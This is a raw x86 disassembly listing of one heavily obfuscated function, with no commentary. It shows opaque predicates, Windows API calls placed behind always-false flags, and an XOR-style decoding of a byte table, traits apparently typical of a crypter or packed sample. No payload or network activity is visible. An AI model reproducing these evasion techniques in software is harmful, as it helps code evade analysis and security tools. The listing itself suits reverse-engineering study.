mov eax, dword [ebp - 0x590]
sub eax, 0x40ff
sub eax, dword [ebp - 0x1b4]
cmp eax, 0x39d
jge 0x1001a56d
cmp dword [ebp - 0x13c], 0
jne 0x1001a56d
and dword [ebp - 0x9d8], 0
jmp 0x1001a577
mov dword [ebp - 0x9d8], 1
cmp dword [ebp - 0x9d8], 0xf8f9ed02
jae 0x1001a58f
mov dword [ebp - 0xb04], 1
jmp 0x1001a596
and dword [ebp - 0xb04], 0
push 1
lea ecx, [ebp - 0xa40]
call fcn.1002154c
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x13c]
jne 0x1001a5bd
mov dword [ebp - 0x598], 1
jmp 0x1001a5c4
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 1
jg 0x1001a5d9
mov dword [ebp - 0x7d8], 1
jmp 0x1001a5e0
and dword [ebp - 0x7d8], 0
mov esi, dword [ebp - 0xf0]
mov edi, dword [ebp - 0x1b4]
mov ebx, dword [ebp - 0x13c]
add ebx, dword [ebp - 0x7d8]
push 2
lea ecx, [ebp - 0xa40]
call fcn.1002154c
mov eax, dword [eax]
add eax, ebx
add eax, edi
cmp eax, esi
jne 0x1001a61b
mov dword [ebp - 0x5a0], 1
jmp 0x1001a622
and dword [ebp - 0x5a0], 0
cmp dword [ebp - 0x5a0], 0xfffffff6
jl 0x1001a637
mov dword [ebp - 0x8f8], 1
jmp 0x1001a63e
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x8f8]
mov dword [ebp - 0xf0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa40]
call fcn.10021530
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x5a8], 0x558e
jge 0x1001a67c
mov edx, dword [ebp - 0xaa0]
mov ecx, 0x10618c58
call fcn.10024060
jmp 0x1001a698
or dword [ebp - 4], 0xffffffff
jmp 0x1001a6a2
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x5b0], 0x3a92bd42
mov dword [ebp - 0x328], 0
jmp 0x1001a6cc
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 2
jge 0x1001a6e8
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0xab4], 0xffffffff
jmp 0x1001a6bf
mov byte [ebp - 0x127], 0
movzx eax, byte [ebp - 0x127]
test eax, eax
je 0x1001a702
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 2
pop eax
test eax, eax
je 0x1001a74a
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x38]
jge 0x1001a71d
mov dword [ebp - 0xb0c], 1
jmp 0x1001a724
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xfc4], eax
cmp dword [ebp - 0x38], 0
je 0x1001a738
or eax, 0xffffffff
jne 0x1001a73e
cmp dword [ebp - 0x38], 0
je 0x1001a74a
mov dword [ebp - 0x7e0], 1
jmp 0x1001a751
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x5b0], eax
imul eax, dword [ebp - 0x5b0], 0x32bb
cmp eax, dword [ebp - 0x38]
jl 0x1001a778
mov dword [ebp - 0xaac], 1
jmp 0x1001a77f
and dword [ebp - 0xaac], 0
cmp dword [ebp - 0x38], 0
je 0x1001a7a8
mov byte [ebp - 0x11c], 0
movzx eax, byte [ebp - 0x11c]
test eax, eax
je 0x1001a7a3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x1001a87d
mov dword [ebp - 0x198], 0xee4c20f7
mov byte [ebp - 0xca], 0
movzx eax, byte [ebp - 0xca]
test eax, eax
je 0x1001a7d1
push 0
push 0xd7e
call dword [sym.imp.USER32.dll_SetMenu]
mov dword [ebp - 0x38], 1
jmp 0x1001a7e1
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1001a87d
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0xab4], 0
je 0x1001a814
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xab4], 0
je 0x1001a814
mov dword [ebp - 0x988], 1
jmp 0x1001a81b
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x988]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x198], 1
jmp 0x1001a840
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x1001a878
mov byte [ebp - 0xcc], 0
movzx eax, byte [ebp - 0xcc]
test eax, eax
je 0x1001a867
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0xab4], 0
je 0x1001a876
jmp 0x1001a833
jmp 0x1001a833
jmp 0x1001a7da
mov dword [ebp - 0xf3c], 0x3185
mov byte [ebp - 0xce], 0
movzx eax, byte [ebp - 0xce]
test eax, eax
je 0x1001a8a5
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CopySid]
mov byte [ebp - 0xd0], 0
movzx eax, byte [ebp - 0xd0]
test eax, eax
je 0x1001a8c2
push 0x228d
call dword [sym.imp.USER32.dll_SetCapture]
mov byte [ebp - 0x204], 6
mov byte [ebp - 0x203], 0x95
mov byte [ebp - 0x202], 0xc
mov byte [ebp - 0x201], 0x23
mov byte [ebp - 0x200], 3
mov byte [ebp - 0x1ff], 0x12
mov byte [ebp - 0x1fe], 7
mov byte [ebp - 0x1fd], 0x13
mov byte [ebp - 0x1fc], 2
mov byte [ebp - 0x1fb], 0x17
mov byte [ebp - 0x1fa], 0xb
mov byte [ebp - 0x1f9], 0x16
mov byte [ebp - 0x1f8], 8
mov byte [ebp - 0x1f7], 0x1c
mov byte [ebp - 0x1f6], 1
mov byte [ebp - 0x1f5], 0xa9
mov byte [ebp - 0x1f4], 0xa
mov byte [ebp - 0x1f3], 0xa
mov byte [ebp - 0x1f2], 4
mov byte [ebp - 0x1f1], 0x11
mov byte [ebp - 0x1f0], 1
mov byte [ebp - 0x1ef], 6
mov byte [ebp - 0x1ee], 0
mov byte [ebp - 0x1ed], 0x31
mov byte [ebp - 0x1ec], 0xd
mov byte [ebp - 0x1eb], 0x14
mov byte [ebp - 0x1ea], 5
mov byte [ebp - 0x1e9], 0x32
mov byte [ebp - 0x1e8], 9
mov byte [ebp - 0x1e7], 6
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x204]
and eax, 0xc5
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x204]
or ecx, 0xc5
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x204]
mov byte [ebp + eax - 0xce8], cl
mov dword [ebp - 0x900], 0x9cdc345f
push 1
lea ecx, [ebp - 0xd1c]
call fcn.100214ae
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x5e8], 0xafd77ccc
mov dword [ebp - 0x3d8], 0xfffffffb
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x990], 0x127a4ef2
mov dword [ebp - 0xb0], 0
jmp 0x1001aa31
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x1001aa53
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xd1c]
call fcn.1002154c
mov dword [eax], 0x46b8d963
jmp 0x1001aa24
mov dword [ebp - 0xb0], 0
jmp 0x1001aa6c
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x1001aa88
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x154], 0xc4e2bf5f
jmp 0x1001aa5f
cmp dword [ebp - 0x900], 0xd37a
jle 0x1001aaa0
mov dword [ebp - 0x5b8], 1
jmp 0x1001aaa7
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5e8]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x154]
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x154]
inc edx
push 4
pop esi
imul esi, esi, 0
mov dword [ebp + esi - 0x154], edx
cmp ecx, eax
jle 0x1001aae9
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x1001aae9
and dword [ebp - 0x7e8], 0
jmp 0x1001aaf3
mov dword [ebp - 0x7e8], 1
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x7e8]
jle 0x1001aba5
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x154]
push 0
lea ecx, [ebp - 0xd1c]
call fcn.1002154c
cmp esi, dword [eax]
jne 0x1001ab2f
mov dword [ebp - 0x5c0], 1
jmp 0x1001ab36
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x3d8]
cmp dword [ebp - 0x5c0], eax
jge 0x1001ab50
mov dword [ebp - 0x5c8], 1
jmp 0x1001ab57
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x900]
add eax, dword [ebp - 0x5c8]
je 0x1001ab7a
cmp dword [ebp - 0x3d8], 0
je 0x1001ab7a
mov dword [ebp - 0x7f0], 1
jmp 0x1001ab81
and dword [ebp - 0x7f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x154]
imul eax, dword [ebp - 0x7f0]
test eax, eax
je 0x1001aba5
mov dword [ebp - 0x5d0], 1
jmp 0x1001abac
and dword [ebp - 0x5d0], 0
cmp dword [ebp - 0x5d0], 0xffffffff
je 0x1001abc6
xor eax, eax
inc eax
je 0x1001abc6
mov dword [ebp - 0x9c0], 1
jmp 0x1001abcd
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x3d8]
cmp dword [ebp - 0x9c0], eax
jle 0x1001abeb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x154], 0
je 0x1001abfc
xor eax, eax
inc eax
je 0x1001abfc
mov dword [ebp - 0x5d8], 1
jmp 0x1001ac03
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5e0]
cmp dword [ebp - 0x5d8], eax
je 0x1001ac1d
mov dword [ebp - 0x7f8], 1
jmp 0x1001ac24
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x7f8]
neg eax
cmp eax, dword [ebp - 0x5e0]
jne 0x1001ac40
mov dword [ebp - 0x908], 1
jmp 0x1001ac47
and dword [ebp - 0x908], 0
cmp dword [ebp - 0x908], 0xfffffffb
jne 0x1001ac5c
mov dword [ebp - 0x800], 1
jmp 0x1001ac63
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x5e8]
cmp dword [ebp - 0x800], eax
je 0x1001ac7d
mov dword [ebp - 0x3a8], 1
jmp 0x1001ac84
and dword [ebp - 0x3a8], 0
push 0
lea ecx, [ebp - 0xd1c]
call fcn.1002154c
mov ecx, dword [ebp - 0x3a8]
mov dword [eax], ecx
cmp dword [ebp - 0x3a8], 0
je 0x1001adb2
mov dword [ebp - 0x5f0], 0xd7f
mov dword [ebp - 0xb14], 0x10007e94
cmp dword [ebp - 0x5f0], 0xe91
jle 0x1001ad40
and dword [ebp - 0x294], 0
jmp 0x1001acdc
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x72b0
jge 0x1001ad40
and dword [ebp - 0x330], 0
jmp 0x1001acfe
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x6185
jge 0x1001ad3e
mov eax, dword [ebp - 0x294]
cdq
idiv dword [ebp - 0x330]
mov eax, edx
cdq
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xabc], edx
push dword [ebp - 0xabc]
push dword [ebp - 0xac0]
mov ecx, 0x10618c58
call fcn.100212a3
jmp 0x1001acf1
jmp 0x1001accf
mov byte [ebp - 0xcb], 0
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x5f0], 0xbd0
jge 0x1001ad67
mov edx, dword [ebp - 0xb14]
mov ecx, 0x10618c58
call fcn.10024060
jmp 0x1001ad83
mov dword [ebp - 4], 0x1a
jmp 0x1001ad93
movzx eax, byte [ebp - 0xcb]
test eax, eax
je 0x1001adb0
push 0x20ed
push 0x1668
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
jmp 0x1001add8
mov byte [ebp - 0x126], 0
movzx eax, byte [ebp - 0x126]
test eax, eax
je 0x1001add8
push 0x13c2
push 0
push 0
push 0x2707
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [ebp - 0x990]
inc eax
mov dword [ebp - 0x990], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd1c]
call fcn.10021530
mov dword [ebp - 0x30], 2
and dword [ebp - 0x2c4], 0
jmp 0x1001ae0c
cmp dword [ebp - 0x30], 0x1e
jae 0x1001b97d
mov dword [ebp - 0xe74], 0x61928c17
mov dword [ebp - 0xe70], 0x61928c17
mov dword [ebp - 0xe6c], 0x61928c17
mov dword [ebp - 0xe68], 0x61928c17
mov dword [ebp - 0x1c4], 0x3aa9ac70
mov dword [ebp - 0x1c4], 3
jmp 0x1001ae61
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jl 0x1001ae7e
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp + eax*4 - 0xe74], 0
je 0x1001ae7c
jmp 0x1001ae7e
jmp 0x1001ae54
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x1001ae9d
push 0
push 0x23d7
call dword [sym.imp.USER32.dll_GetSystemMenu]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x204]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x30], eax
jne 0x1001b849
mov dword [ebp - 0x358], 0xa5d6c05b
mov dword [ebp - 0x354], 0xa5d6c05b
mov dword [ebp - 0x350], 0xa5d6c05b
mov dword [ebp - 0x34c], 0xa5d6c05b
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xb2c], 0
mov dword [ebp - 0xadc], 0xdcf67a9f
mov dword [ebp - 0x14], 3
jmp 0x1001af12
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2c4]
movzx eax, byte [ebp + eax - 0x206]
movsx eax, byte [ebp + eax - 0xce8]
mov ecx, dword [ebp - 0x30]
movzx ecx, byte [ebp + ecx - 0x203]
and ecx, eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2c4]
movzx eax, byte [ebp + eax - 0x206]
movsx eax, byte [ebp + eax - 0xce8]
mov edx, dword [ebp - 0x30]
movzx edx, byte [ebp + edx - 0x203]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x204]
mov byte [ebp + eax - 0xce8], dl
mov dword [ebp - 0x2bc], 0xc70bb743
mov dword [ebp - 0x304], 0
jmp 0x1001b8cc
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x2cc], 0xffffffff
mov dword [ebp - 0x3b4], 0x7f6cc9ca
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0xf8], 0xc43cc9f1
mov dword [ebp - 0x54], 0xfffffffc
mov dword [ebp - 0xf5c], 7
mov dword [ebp - 0x30c], 0
jmp 0x1001b9d3
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 3
jge 0x1001b9ef
mov eax, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0xc14], 0x63b88216
jmp 0x1001b9c6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
dec ecx
mov dword [ebp - 0x28], ecx
test eax, eax
jne 0x1001bb6f
mov eax, 0xfe77
test eax, eax
jne 0x1001bb6f
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1000], eax
push 0xfffffffffffffff6
pop eax
cmp eax, 0xffffffff
ja 0x1001ba2b
mov dword [ebp - 0x698], 1
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0x54], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf8]
cmp ecx, dword [ebp + eax - 0xc14]
jle 0x1001bba3
mov dword [ebp - 0x858], 1
jmp 0x1001bbaa
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xf6c], eax
cmp dword [ebp - 0x3b4], 0x9807
je 0x1001bbcb
mov dword [ebp - 0x64], 5
mov dword [ebp - 0x3f0], 0x7c14ab65
mov dword [ebp - 0x878], 1
mov dword [ebp - 0x1a8], 0x6aed1d25
mov dword [ebp - 0x6f0], 7
mov dword [ebp - 0x178], 0xffffffff
push 1
lea ecx, [ebp - 0xe58]
call fcn.100214ae
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x214], 0
jmp 0x1001c095
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x1001c0b7
push dword [ebp - 0x214]
lea ecx, [ebp - 0xe58]
call fcn.1002154c
mov dword [eax], 1
jmp 0x1001c088
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xe84], eax
cmp dword [ebp - 0x64], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0x3f0], 0xffff
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0x878]
cmp eax, dword [ebp - 0x64]
jg 0x1001c0fa
mov dword [ebp - 0x6e0], 1
jmp 0x1001c101
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x6e0]
jl 0x1001c118
mov dword [ebp - 0x948], 1
jmp 0x1001c11f
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x948], eax
je 0x1001c139
mov dword [ebp - 0x6e8], 1
jmp 0x1001c140
and dword [ebp - 0x6e8], 0
cmp dword [ebp - 0x6e8], 1
jne 0x1001c155
mov dword [ebp - 0x880], 1
jmp 0x1001c15c
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0x51d
jle 0x1001c184
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x1001c184
and dword [ebp - 0x9b0], 0
jmp 0x1001c18e
mov dword [ebp - 0x9b0], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x9b0], eax
jle 0x1001c1a5
mov dword [ebp - 0x6f8], 1
jmp 0x1001c1ac
and dword [ebp - 0x6f8], 0
cmp dword [ebp - 0x6f8], 0x8fc5674f
je 0x1001c1c4
mov dword [ebp - 0x888], 1
jmp 0x1001c1cb
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
sub eax, dword [ebp - 0x1a8]
neg eax
cmp eax, dword [ebp - 0x1a8]
jg 0x1001c1ed
mov dword [ebp - 0xb18], 1
jmp 0x1001c1f4
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0xe94], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0xe9c], eax
cmp dword [ebp - 0x178], 0xd535
jl 0x1001c224
mov dword [ebp - 0xbe8], 1
jmp 0x1001c22b
and dword [ebp - 0xbe8], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xea4], eax
push 7
pop eax
cmp eax, 0xcab3
je 0x1001c250
cmp dword [ebp - 0x1a8], 0
jne 0x1001c250
and dword [ebp - 0x700], 0
jmp 0x1001c25a
mov dword [ebp - 0x700], 1
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x700]
imul eax, dword [ebp - 0x64]
mov esi, dword [ebp - 0x64]
sub esi, eax
push 0
lea ecx, [ebp - 0xe58]
call fcn.1002154c
mov dword [eax], esi
mov dword [ebp - 0x178], 0
jmp 0x1001c294
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 3
jl 0x1001c2dd
mov dword [ebp - 0xeac], 0xf40bf68
mov dword [ebp - 0x950], 1
mov eax, dword [ebp - 0x950]
dec eax
mov dword [ebp - 0x950], eax
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x1001c2db
push 0x18a4
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1001c287
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe58]
call fcn.10021530
mov eax, dword [0x10619d98]
cmp eax, dword [ebp - 0x268]
je 0x1001c30a
mov eax, dword [0x10619e8c]
cmp eax, dword [ebp - 0x268]
jne 0x1001c89e
push 3
lea ecx, [ebp - 0x364]
call fcn.100214ae
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x728], 0xebf90350
mov dword [ebp - 0x70], 0x58efa97f
mov dword [ebp - 0x14c], 0xffffffff
mov dword [ebp - 0x17c], 0xffffffff
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x958], 0xe1b8d813
mov dword [ebp - 0x730], 7
mov dword [ebp - 0xcb8], 4
mov dword [ebp - 0x314], 0
jmp 0x1001c384
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 3
jge 0x1001c3a6
push dword [ebp - 0x314]
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov dword [eax], 0x2971c1e
jmp 0x1001c377
push 1
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0x728], eax
push 0
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov esi, eax
push 1
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x1001c3e9
mov dword [ebp - 0x708], 1
jmp 0x1001c3f0
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
neg eax
sub eax, dword [ebp - 0x70]
test eax, eax
jle 0x1001c40b
mov dword [ebp - 0x890], 1
jmp 0x1001c412
and dword [ebp - 0x890], 0
push 2
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov ecx, dword [ebp - 0x890]
cmp ecx, dword [eax]
je 0x1001c435
mov dword [ebp - 0x710], 1
jmp 0x1001c43c
and dword [ebp - 0x710], 0
cmp dword [ebp - 0x710], 0x8aab
jle 0x1001c454
mov dword [ebp - 0x96c], 1
jmp 0x1001c45b
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x96c]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
sub eax, dword [ebp - 0x70]
cmp eax, 0x9ff4caa5
jbe 0x1001c483
mov dword [ebp - 0x718], 1
jmp 0x1001c48a
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x718]
inc eax
cmp eax, dword [ebp - 0x70]
jle 0x1001c4ab
mov eax, 0x4951162d
test eax, eax
je 0x1001c4ab
mov dword [ebp - 0x898], 1
jmp 0x1001c4b2
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
cmp eax, dword [ebp - 0x70]
jne 0x1001c4e2
xor eax, eax
jne 0x1001c4e2
and dword [ebp - 0x720], 0
jmp 0x1001c4ec
mov dword [ebp - 0x720], 1
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 0xfff6
je 0x1001c519
cmp dword [ebp - 0x17c], 0
je 0x1001c519
mov dword [ebp - 0xb20], 1
jmp 0x1001c520
and dword [ebp - 0xb20], 0
push 1
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov esi, dword [ebp - 0x728]
push 0
lea ecx, [ebp - 0x364]
call fcn.1002154c
cmp esi, dword [eax]
jne 0x1001c550
mov dword [ebp - 0x8a0], 1
jmp 0x1001c557
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x8a0]
mov dword [ebp - 0x730], eax
mov esi, dword [ebp - 0x730]
push 1
lea ecx, [ebp - 0x364]
call fcn.1002154c
add esi, dword [eax]
push 2
lea ecx, [ebp - 0x364]
call fcn.1002154c
cmp dword [eax], esi
jne 0x1001c599
push 9
pop eax
test eax, eax
jne 0x1001c599
and dword [ebp - 0x974], 0
jmp 0x1001c5a3
mov dword [ebp - 0x974], 1
push 1
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x974]
jl 0x1001c5c6
mov dword [ebp - 0x738], 1
jmp 0x1001c5cd
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0xcb8], eax
mov dword [ebp - 0x14c], 0
jmp 0x1001c5f2
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 2
jg 0x1001c877
mov dword [ebp - 0x2e4], 0xffffffff
mov dword [ebp - 0x36c], 0xffff
mov dword [ebp - 0xb30], 1
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x1001c641
push 0x1210
push 0
push 0x13f
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [ebp - 0x70], 0
jmp 0x1001c651
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jg 0x1001c872
mov dword [ebp - 0xb28], 0xffffffff
mov dword [ebp - 0x2dc], 0
jmp 0x1001c67e
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 2
jge 0x1001c69a
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0xedc], 0xc083
jmp 0x1001c671
cmp dword [ebp - 0x2e4], 0
jne 0x1001c7ac
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xedc]
cmp eax, dword [ebp - 0x36c]
jge 0x1001c6c8
mov dword [ebp - 0x8a8], 1
jmp 0x1001c6cf
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x8a8]
sub eax, dword [ebp - 0x334]
cmp eax, dword [ebp - 0x2e4]
jge 0x1001c6ef
mov dword [ebp - 0x740], 1
jmp 0x1001c6f6
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0xb28]
cmp dword [ebp - 0x740], eax
jle 0x1001c710
mov dword [ebp - 0x444], 1
jmp 0x1001c717
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x444]
test eax, eax
je 0x1001c743
push 1
lea ecx, [ebp - 0x364]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001c743
mov dword [ebp - 0x748], 1
jmp 0x1001c74a
and dword [ebp - 0x748], 0
imul eax, dword [ebp - 0x748], 0x4d12
mov dword [ebp - 0x8b0], eax
push dword [ebp - 0x70]
lea ecx, [ebp - 0x364]
call fcn.1002154c
mov ecx, dword [ebp - 0x8b0]
mov dword [eax], ecx
cmp dword [ebp - 0x8b0], 0
ja 0x1001c789
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x1001c789
and dword [ebp - 0x750], 0
jmp 0x1001c793
mov dword [ebp - 0x750], 1
mov eax, dword [ebp - 0x750]
sub eax, dword [ebp - 0x2e4]
neg eax
jne 0x1001c7ac
and dword [ebp - 0x97c], 0
jmp 0x1001c7b6
mov dword [ebp - 0x97c], 1
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x97c], eax
jge 0x1001c7d0
mov dword [ebp - 0x758], 1
jmp 0x1001c7d7
and dword [ebp - 0x758], 0
imul eax, dword [ebp - 0x758], 0xffff
mov ecx, dword [ebp - 0x334]
sub ecx, eax
cmp ecx, dword [ebp - 0x36c]
jle 0x1001c7fd
mov dword [ebp - 0xbf8], 1
jmp 0x1001c804
and dword [ebp - 0xbf8], 0
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0xeb4], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xebc], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xec4], eax
mov eax, 0x10aa
cmp eax, 8
ja 0x1001c83e
mov dword [ebp - 0x8b8], 1
jmp 0x1001c845
and dword [ebp - 0x8b8], 0
cmp dword [ebp - 0x8b8], 0
jl 0x1001c85a
mov dword [ebp - 0x760], 1
jmp 0x1001c861
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0xb30], eax
jmp 0x1001c64a
jmp 0x1001c5e5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x364]
call fcn.10021530
mov ecx, dword [ebp + 0xc]
call fcn.10021086
push eax
push dword [ebp + 8]
call fcn.100133c1
pop ecx
pop ecx
jmp 0x1001ff81
mov eax, dword [ebp + 8]
mov dword [ebp - 0x344], eax
push 2
lea ecx, [ebp - 0x9f4]
call fcn.100214ae
mov dword [ebp - 4], 0x23
push 1
lea ecx, [ebp - 0x3fc]
call fcn.100214ae
mov byte [ebp - 4], 0x24
mov dword [ebp - 0xa4], 0
jmp 0x1001c8e5
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x1001c907
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
mov dword [eax], 6
jmp 0x1001c8d8
